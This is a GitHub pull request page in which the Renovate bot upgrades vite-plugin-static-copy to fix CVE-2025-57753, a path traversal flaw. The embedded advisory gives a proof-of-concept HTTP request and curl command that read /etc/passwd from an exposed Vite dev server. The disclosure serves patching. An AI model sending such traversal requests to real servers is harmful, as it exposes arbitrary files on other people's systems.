Skip to content

Conversation

@renovate
Copy link
Contributor

@renovate renovate bot commented Aug 21, 2025

This PR contains the following updates:

Package Change Age Confidence
vite-plugin-static-copy ^1.0.6 -> ^2.0.0 age confidence

GitHub Vulnerability Alerts

CVE-2025-57753

Summary

Files not included in src was possible to access with a crafted request.

Impact

Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.

Arbitrary files can be disclosed by exploiting this vulnerability.

Details

Consider the following configuration in used by vite.config.ts:

import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'

export default defineConfig({
    plugins: [
      viteStaticCopy({
        targets: [
          {
            src: "./public/images",
            dest: "./",
          },
        ],
      }),
    ],
  });

The files under the ./public/images is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.

PoC

I've attached a demo app to showcase the bug.

Run it with npm run dev and issue the following HTTP request

GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2

OR

curl --path-as-is -i -s -k -X $'GET' \
    -H $'Host: localhost:3001' -H $'Content-Length: 2' \
    --data-binary $'\x0d\x0a' \
    $'http://localhost:3001/static/images/../../../../../../../etc/passwd'

Observe that the /etc/passwd file is included in the response.

Screenshot 2025-08-16 at 10 27 11 PM

Release Notes

sapphi-red/vite-plugin-static-copy (vite-plugin-static-copy)

v2.3.2

Compare Source

Patch Changes

v2.3.1

Compare Source

Patch Changes

v2.3.0

Compare Source

Minor Changes
Patch Changes

v2.2.0

Compare Source

Minor Changes

v2.1.0

Compare Source

Minor Changes

v2.0.0

Compare Source

Major Changes

Configuration

📅 Schedule: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@netlify
Copy link

netlify bot commented Aug 21, 2025

Deploy Preview for cn-devtools-app failed.

Name Link
🔨 Latest commit 0e8fb46
🔍 Latest deploy log https://app.netlify.com/projects/cn-devtools-app/deploys/691c5afcceeee80008700def

@renovate renovate bot force-pushed the renovate/npm-vite-plugin-static-copy-vulnerability branch from aebbe92 to 0e8fb46 Compare November 18, 2025 11:39
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant